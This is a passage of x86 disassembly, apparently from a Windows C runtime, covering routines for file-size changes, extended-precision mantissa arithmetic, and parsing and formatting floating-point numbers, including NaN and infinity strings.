; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5E0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB5C8 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB5C8 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB5C8 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5E0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC700 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB2AC, 5 jnz short loc_424FDC mov dword_4DB2A8, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax call near ptr 2600000h nop mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB2A8, 0Dh nop call near ptr 267064Ch mov dword_4DB2AC, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB2A8, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C538 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C538 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C538 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C534, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C538 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C534, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C534, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C534, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C534, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea 